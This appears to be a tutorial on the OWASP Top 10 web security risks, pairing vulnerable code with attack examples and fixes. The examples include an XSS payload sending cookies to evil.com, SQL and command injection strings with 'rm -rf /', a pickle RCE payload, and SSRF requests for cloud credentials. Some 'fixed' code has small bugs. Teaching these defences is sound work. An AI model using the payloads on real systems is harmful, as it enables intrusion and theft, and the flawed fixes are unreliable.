The OWASP Top 10 is the industry standard for web application security risks. If you build web applications, you’re expected to know every item on this list, understand how each is exploited, and know how to prevent them.
The 2021 edition brought significant changes — three new categories, several mergers, and a shift toward “insecure design” as a root cause rather than just implementation bugs.
This guide covers all 10, with vulnerable code, attack examples, and production-ready defenses.
A01: Broken Access Control
The #1 risk. Found in 94% of applications tested. Access control means ensuring users can only do what they’re authorized to do. When it breaks, users can view other users’ data, modify records they shouldn’t, or escalate privileges.
The Vulnerable Code
// VULNERABLE — no authorization check
app.get('/api/users/:id/profile', async (req, res) => {
const user = await db.users.findById(req.params.id);
res.json(user); // Any authenticated user can view ANY user's profile
});
// VULNERABLE — client-side role check only
app.delete('/api/posts/:id', async (req, res) => {
// The frontend hides the delete button for non-admins
// But anyone can call the API directly
await db.posts.delete(req.params.id);
res.json({ success: true });
});The Attack
# IDOR (Insecure Direct Object Reference) — change the ID
GET /api/users/12345/profile # My profile
GET /api/users/12346/profile # Someone else's profile — works!
GET /api/users/1/profile # Admin's profile — works!
# Privilege escalation — call admin endpoints directly
DELETE /api/posts/456 # Works even though I'm not admin
POST /api/admin/create-user # Works — no server-side role checkThe Fix
// FIXED — server-side authorization on every request
app.get('/api/users/:id/profile', requireAuth, async (req, res) => {
// Users can only access their own profile
if (req.params.id !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await db.users.findById(req.params.id);
res.json(user);
});
// FIXED — role-based access control middleware
function requireRole(...roles) {
return (req, res, next) => {
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
}
app.delete('/api/posts/:id', requireAuth, requireRole('admin', 'moderator'), async (req, res) => {
await db.posts.delete(req.params.id);
res.json({ success: true });
});Key principle: Deny by default. Every endpoint requires explicit authorization. Never trust client-side checks.
A02: Cryptographic Failures
Previously called “Sensitive Data Exposure.” Covers any failure in cryptography — weak algorithms, missing encryption, exposed secrets.
The Vulnerable Code
# VULNERABLE — MD5 for passwords (trivially crackable)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# VULNERABLE — homegrown encryption
def encrypt(data, key):
return ''.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data))
# VULNERABLE — hardcoded secrets
API_KEY = "sk_live_abc123def456"
DB_PASSWORD = "supersecret123"
# VULNERABLE — HTTP for sensitive data
<form action="http://example.com/login" method="POST">The Fix
# FIXED — bcrypt for password hashing
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Verify
if bcrypt.checkpw(input_password.encode(), stored_hash):
print("Valid")
# FIXED — use established encryption libraries
from cryptography.fernet import Fernet
key = Fernet.generate_key() # Store securely, not in code
cipher = Fernet(key)
encrypted = cipher.encrypt(b"sensitive data")
decrypted = cipher.decrypt(encrypted)
# FIXED — environment variables for secrets
import os
API_KEY = os.environ['API_KEY']
DB_PASSWORD = os.environ['DB_PASSWORD']Rules: Use bcrypt/argon2 for passwords. AES-256-GCM for encryption. TLS everywhere. Secrets in environment variables or a vault. Never invent your own crypto.
A03: Injection
SQL injection, XSS, command injection, LDAP injection — any time untrusted data is sent to an interpreter as part of a command or query.
SQL Injection
// VULNERABLE — string concatenation
app.get('/api/search', async (req, res) => {
const query = `SELECT * FROM products WHERE name LIKE '%${req.query.q}%'`;
const results = await db.query(query);
res.json(results);
});
// Attack: /api/search?q=' UNION SELECT username, password FROM users --// FIXED — parameterized query
app.get('/api/search', async (req, res) => {
const results = await db.query(
'SELECT * FROM products WHERE name LIKE $1',
[`%${req.query.q}%`]
);
res.json(results);
});Command Injection
# VULNERABLE — user input in shell command
import os
filename = request.args.get('file')
os.system(f'convert {filename} output.png')
# Attack: ?file=image.jpg; rm -rf /# FIXED — use subprocess with array (no shell interpretation)
import subprocess
filename = request.args.get('file')
# Validate filename against allowlist
if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
abort(400)
subprocess.run(['convert', filename, 'output.png'], check=True)XSS (Cross-Site Scripting)
// VULNERABLE — reflected XSS
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
// Attack: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>// FIXED — output encoding
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
});
// Or better: use a template engine that auto-escapes (React, Jinja2, etc.)A04: Insecure Design (NEW in 2021)
This is about flawed architecture — not implementation bugs, but design decisions that make the system inherently insecure. No amount of perfect code fixes a broken design.
Examples
INSECURE DESIGN:
- Password reset sends a 4-digit OTP with no rate limiting
→ Attacker brute-forces all 10,000 combinations in minutes
- "Security question" is "What's your mother's maiden name?"
→ Available on public records / social media
- Checkout flow trusts client-side price calculation
→ Attacker modifies price to $0.01 in browser devtools
- File upload accepts any file type, stores in web root
→ Attacker uploads PHP shell, gets RCEThe Fix
// FIXED — rate limiting on sensitive endpoints
const rateLimit = require('express-rate-limit');
const otpLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts per window
message: { error: 'Too many attempts. Try again later.' },
keyGenerator: (req) => req.body.email, // Per-email rate limit
});
app.post('/api/verify-otp', otpLimiter, async (req, res) => {
// Also: OTP expires after 10 minutes, 6+ digits, one-time use
});
// FIXED — server-side price validation
app.post('/api/checkout', requireAuth, async (req, res) => {
const cart = await db.carts.findByUserId(req.user.id);
// NEVER trust client-side totals — recalculate on server
const total = cart.items.reduce((sum, item) => {
const product = await db.products.findById(item.productId);
return sum + (product.price * item.quantity);
}, 0);
await processPayment(req.user.id, total);
});Key principle: Threat model before coding. Ask “how could an attacker abuse this?” for every feature.
A05: Security Misconfiguration
Default credentials, unnecessary services exposed, verbose error messages, missing security headers, open cloud storage.
Common Misconfigurations
- Default admin password on database/CMS
- Debug mode enabled in production (stack traces exposed)
- S3 bucket with public-read ACL
- Unnecessary HTTP methods enabled (PUT, DELETE, TRACE)
- Missing security headers (CSP, HSTS, X-Frame-Options)
- Directory listing enabled on web server
- Default sample applications still deployed
- CORS: Access-Control-Allow-Origin: *The Fix
// Express.js — production security configuration
const helmet = require('helmet');
app.use(helmet()); // Sets 15+ security headers
// Disable powered-by header
app.disable('x-powered-by');
// Custom error handler — no stack traces in production
app.use((err, req, res, next) => {
console.error(err.stack); // Log full error server-side
res.status(500).json({
error: process.env.NODE_ENV === 'production'
? 'Internal server error'
: err.message // Only show details in development
});
});
// CORS — specific origins only
const cors = require('cors');
app.use(cors({
origin: ['https://app.example.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
}));# Nginx — production hardening
server {
# Disable server version
server_tokens off;
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Disable unwanted HTTP methods
if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE)$) {
return 405;
}
# Disable directory listing
autoindex off;
}A06: Vulnerable and Outdated Components
Using libraries or frameworks with known vulnerabilities. Log4Shell (CVE-2021-44228) is the poster child — a single transitive dependency brought down half the internet.
Detection
# Node.js — check for known vulnerabilities
npm audit
# or
npx audit-ci --critical
# Python
pip-audit
safety check
# Java/Maven
mvn dependency-check:check
# Container images
trivy image myapp:latestThe Fix
# GitHub Actions — automated dependency scanning
name: Security Scan
on:
push:
branches: [main]
schedule:
- cron: '0 8 * * 1' # Weekly Monday scan
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run npm audit
run: npm audit --audit-level=high
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}Rules: Automated dependency scanning in CI. Dependabot/Renovate for automated PRs. Remove unused dependencies. Pin versions.
A07: Identification and Authentication Failures
Weak passwords, credential stuffing, missing MFA, session management bugs.
The Vulnerable Code
// VULNERABLE — no rate limiting on login
app.post('/login', async (req, res) => {
const user = await db.users.findByEmail(req.body.email);
if (user && user.password === md5(req.body.password)) { // Also: MD5!
req.session.userId = user.id;
res.json({ success: true });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// Attack: Credential stuffing with 10M leaked email:password pairsThe Fix
// FIXED — secure authentication
const bcrypt = require('bcrypt');
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 10, // 10 login attempts per 15 minutes
keyGenerator: (req) => req.body.email,
});
app.post('/login', loginLimiter, async (req, res) => {
const user = await db.users.findByEmail(req.body.email);
// Constant-time comparison — prevent timing attacks
if (!user || !await bcrypt.compare(req.body.password, user.passwordHash)) {
// Same error for wrong email AND wrong password
return res.status(401).json({ error: 'Invalid credentials' });
}
// Check if account is locked
if (user.failedAttempts >= 5) {
return res.status(423).json({ error: 'Account locked. Reset password.' });
}
// Regenerate session to prevent fixation
req.session.regenerate((err) => {
req.session.userId = user.id;
req.session.save(() => res.json({ success: true }));
});
});
// Enforce MFA for sensitive operations
app.post('/api/transfer', requireAuth, requireMFA, async (req, res) => {
// Only reachable after MFA verification
});A08: Software and Data Integrity Failures (NEW in 2021)
Code and infrastructure that doesn’t verify integrity. Includes insecure CI/CD pipelines, auto-updating without signature verification, and insecure deserialization.
Insecure Deserialization
# VULNERABLE — deserializing untrusted data
import pickle
user_data = pickle.loads(request.data) # RCE if attacker controls request.data
# Attack payload:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('rm -rf /',))
payload = pickle.dumps(Exploit())
# Sending this as request.data executes 'rm -rf /' on the server# FIXED — never deserialize untrusted data with pickle
import json
user_data = json.loads(request.data) # JSON is data-only, no code execution
# If you must deserialize complex objects, use allowlists:
import yaml
user_data = yaml.safe_load(request.data) # safe_load blocks arbitrary objectsSupply Chain Attacks
# FIXED — pin dependency versions + verify checksums
# package-lock.json / yarn.lock — always commit these
# Use npm ci (not npm install) in CI — respects lockfile exactly
# Verify package integrity
# npm uses SHA-512 integrity hashes in package-lock.json
"integrity": "sha512-..."
# For Docker images, pin by digest
FROM node:20@sha256:abc123... # Not FROM node:20 (tag can change)A09: Security Logging and Monitoring Failures
If you can’t detect attacks, you can’t respond to them. The average time to detect a breach is 197 days.
What to Log
// Structured security logging
const logger = require('winston');
// Log authentication events
app.post('/login', async (req, res) => {
const result = await authenticate(req.body);
if (result.success) {
logger.info('auth.login.success', {
userId: result.user.id,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
} else {
logger.warn('auth.login.failure', {
email: req.body.email,
ip: req.ip,
reason: result.reason,
userAgent: req.headers['user-agent'],
});
}
});
// Log authorization failures
function requireRole(...roles) {
return (req, res, next) => {
if (!roles.includes(req.user.role)) {
logger.warn('authz.denied', {
userId: req.user.id,
requiredRoles: roles,
actualRole: req.user.role,
endpoint: req.originalUrl,
ip: req.ip,
});
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
}
// Log input validation failures (potential attack probing)
app.use((req, res, next) => {
const suspicious = /(<script|union\s+select|\.\.\/|%00)/i;
if (suspicious.test(JSON.stringify(req.body)) || suspicious.test(req.originalUrl)) {
logger.warn('security.suspicious_input', {
ip: req.ip,
method: req.method,
url: req.originalUrl,
body: JSON.stringify(req.body).substring(0, 500),
});
}
next();
});Alert on: Multiple login failures (>10/min from same IP), admin actions from new IPs, access to non-existent admin paths, SQL injection patterns in input.
A10: Server-Side Request Forgery — SSRF (NEW in 2021)
SSRF tricks the server into making requests to unintended destinations — typically internal services, cloud metadata endpoints, or other infrastructure that’s not directly accessible from the internet.
The Vulnerable Code
// VULNERABLE — user controls the URL the server fetches
app.get('/api/preview', async (req, res) => {
const url = req.query.url;
const response = await fetch(url); // Server fetches whatever the user asks
const html = await response.text();
res.json({ preview: html.substring(0, 500) });
});The Attacks
# Read AWS credentials via metadata endpoint
GET /api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Scan internal network
GET /api/preview?url=http://10.0.0.1:8080/admin
GET /api/preview?url=http://internal-db:5432/
# Read local files
GET /api/preview?url=file:///etc/passwd
# Access cloud metadata (GCP)
GET /api/preview?url=http://metadata.google.internal/computeMetadata/v1/
# Bypass with DNS rebinding, URL encoding, or redirects
GET /api/preview?url=http://0x7f000001/ # 127.0.0.1 in hexThe Fix
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
async function isUrlSafe(urlString) {
let parsed;
try {
parsed = new URL(urlString);
} catch {
return false;
}
// Block non-HTTP protocols
if (!['http:', 'https:'].includes(parsed.protocol)) return false;
// Resolve hostname to IP
const addresses = await dns.resolve4(parsed.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
// Block private, loopback, link-local ranges
if (ip.range() !== 'unicast') return false;
// Explicit block list
const blocked = ['private', 'loopback', 'linkLocal', 'uniqueLocal'];
if (blocked.includes(ip.range())) return false;
}
// Allowlist of permitted domains (strongest approach)
const allowed = ['example.com', 'cdn.example.com'];
if (!allowed.some(d => parsed.hostname.endsWith(d))) return false;
return true;
}
app.get('/api/preview', async (req, res) => {
if (!await isUrlSafe(req.query.url)) {
return res.status(400).json({ error: 'URL not allowed' });
}
// Also: set timeout, limit response size, disable redirects
const response = await fetch(req.query.url, {
redirect: 'error', // Don't follow redirects
signal: AbortSignal.timeout(5000), // 5s timeout
});
const html = await response.text();
res.json({ preview: html.substring(0, 500) });
});Infrastructure defense: Block metadata endpoints at the network level. Use IMDSv2 (requires token) on AWS. Run services with minimal IAM roles.
Attack → Defense Quick Reference
Where OWASP Fits in Your SDLC
Security isn’t something you add at the end. Each OWASP category maps to a specific phase of your development lifecycle:
| Phase | Activities | OWASP Coverage |
|---|---|---|
| Design | Threat modeling, security requirements | A01, A04 |
| Code | SAST, secure code review, linting | A02, A03 |
| Build | SCA, container scanning, signed artifacts | A06, A08 |
| Test | DAST, pen testing, fuzz testing | A05, A10 |
| Operate | WAF, monitoring, incident response | A07, A09 |
The Minimum Security Checklist
Every web application should implement these. Map them to your sprint work:
ACCESS CONTROL (A01):
[ ] Server-side authorization on every endpoint
[ ] Deny by default — allowlist, don't blocklist
[ ] Rate limiting on sensitive operations
[ ] CORS configured for specific origins only
CRYPTOGRAPHY (A02):
[ ] bcrypt/argon2 for passwords (not MD5/SHA)
[ ] TLS everywhere, HSTS deployed
[ ] Secrets in env vars or vault, not code
[ ] Data encrypted at rest for PII
INJECTION (A03):
[ ] Parameterized queries for all database calls
[ ] Output encoding for all user data in HTML
[ ] CSP headers deployed
[ ] Input validation (allowlist patterns)
DESIGN (A04):
[ ] Threat model for every new feature
[ ] Rate limiting on OTP/password flows
[ ] Server-side validation of all business logic
CONFIG (A05):
[ ] Security headers (Helmet.js or equivalent)
[ ] No debug mode in production
[ ] No default credentials
[ ] No unnecessary services exposed
DEPENDENCIES (A06):
[ ] Automated dependency scanning in CI
[ ] Dependabot/Renovate for auto-updates
[ ] Lock files committed
AUTH (A07):
[ ] MFA available for all users
[ ] Account lockout after failed attempts
[ ] Session regeneration on login
[ ] Secure cookie flags (HttpOnly, Secure, SameSite)
INTEGRITY (A08):
[ ] CI/CD pipeline integrity verified
[ ] Dependencies pinned with integrity hashes
[ ] No pickle/eval on untrusted data
LOGGING (A09):
[ ] Auth events logged (success + failure)
[ ] Authz failures logged
[ ] Alerts on anomalous patterns
[ ] Logs don't contain sensitive data (passwords, tokens)
SSRF (A10):
[ ] URL allowlists for server-side fetches
[ ] Block internal/private IP ranges
[ ] Cloud metadata endpoint protected
[ ] No redirect following on server-side requestsThe OWASP Top 10 isn’t a checklist you complete once — it’s a mindset you apply to every line of code, every architecture decision, every code review. The attackers study this list too. The difference is whether you address these risks before or after they find them.








